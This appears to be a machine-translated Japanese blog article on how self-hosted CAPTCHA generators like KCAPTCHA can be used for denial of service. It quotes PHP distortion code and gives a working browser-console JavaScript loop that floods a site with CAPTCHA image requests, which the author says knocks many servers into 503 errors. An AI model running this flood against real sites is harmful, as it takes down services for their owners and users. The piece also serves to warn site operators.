独自のキャプチャを持つサイトへのDoS攻撃

captchaを使用して、あらゆる種類の外部の不要な自動アクティビティ(ボット)から保護されている多くのサイトを見つけることができます。 さらに、多くの場合、サイトが配置されているサーバーとまったく同じサーバーがこれらの同じキャプチャの生成に関与しています。 そのようなキャプチャをサイトにねじ込むのは非常に簡単で、無料のキャプチャ生成ライブラリ( たとえばKCAPTCHA )があります。



危険は何ですか?



サイトに敵がいる可能性がある場合(たとえば、あなたがwww.piratepay.ruの所有者である場合 )、そのようなキャプチャを使用すると、彼らを大いに助ける危険があります。



なんで?



Captchaの生成は、特にPHP(または画像処理にあまり適していない別の言語)がこれを行うことを考慮すると、かなりリソースを消費します。



たとえば、前述のKCAPTCHAでは、画像は事前にラスタライズされたフォント(画像として保存されている)のフラグメントから収集されます。たとえば、







このようなフォントファイルがいくつかあり(標準の "配信"-22)、リクエストごとにディレクトリがスキャンされ、ファイルの1つがランダムに選択されます。



ランダムに選択された文字を結合した後、それらは歪められます。 この場合、フィルターはPHP + GD2で記述された波の歪み(波の歪み)を使用します。



for($x=0;$x<$width;$x++){ for($y=0;$y<$height;$y++){ $sx=$x+(sin($x*$rand1+$rand5)+sin($y*$rand3+$rand6))*$rand9-$width/2+$center+1; $sy=$y+(sin($x*$rand2+$rand7)+sin($y*$rand4+$rand8))*$rand10; if($sx<0 || $sy<0 || $sx>=$width-1 || $sy>=$height-1){ continue; }else{ $color=imagecolorat($img, $sx, $sy) & 0xFF; $color_x=imagecolorat($img, $sx+1, $sy) & 0xFF; $color_y=imagecolorat($img, $sx, $sy+1) & 0xFF; $color_xy=imagecolorat($img, $sx+1, $sy+1) & 0xFF; } /* ... */ imagesetpixel($img2, $x, $y, imagecolorallocate($img2, $newred, $newgreen, $newblue)); } }
      
      







つまり それはすべてかなりゆっくりと起こります。 デフォルトではキャッシングは提供されていません。 同じことが他の多くのライブラリ(「フォーラム」ライブラリを含む:phpBB、vBulletinなど)にも当てはまります。



captcha生成のリクエストが多数ある場合、サーバーはcaptchaを描画して通常のページを表示する時間がありません(特に、ほとんどの場合、さまざまな理由でサイトがCMSで動作し、キャッシュがオフになることを考慮してください)。



攻撃



最も単純なケースでは、お気に入りのブラウザーでサイトにアクセスし(リファラーが正しい場合に備えて)、javascriptデバッガーを開き、次のようなものをコンソールに書き込むだけで十分です。



 cnt = document.getElementById('content'); /*    id */ regen = function() { var html = ''; for (var i = 0; i < 1000; i++) { html += '<img src="http://www.somesite.com/kcaptcha/index.php?' /*  */ + Math.random() + '" />'; } cnt.innerHTML = html; }; window.setInterval(regen, 10 * 1000); regen(); /*  —  ,  ,      */ window.setInterval('window.scrollTo(0, document.body.scrollHeight);', 500);
      
      







その結果、無数のキャプチャー(貧弱なサーバーでの生成)のマルチスレッドダウンロードを取得しました。 すべてのサーバーがそれに耐えられるわけではないことは明らかであり、多くは(自発的にチェックされたものから)HTTPエラー503サービスが利用できない状態に陥ります。



おわりに


この種の攻撃を防ぐには、いくつかの明らかな方法があります。





PSは「フォーラム」キャプチャをまったく使用しません。 それらは非常に弱い-reCaptchaに置き換えてください。 テキストキャプチャを使用する場合は、オプションの数が十分に大きいことを確認してください。



All Articles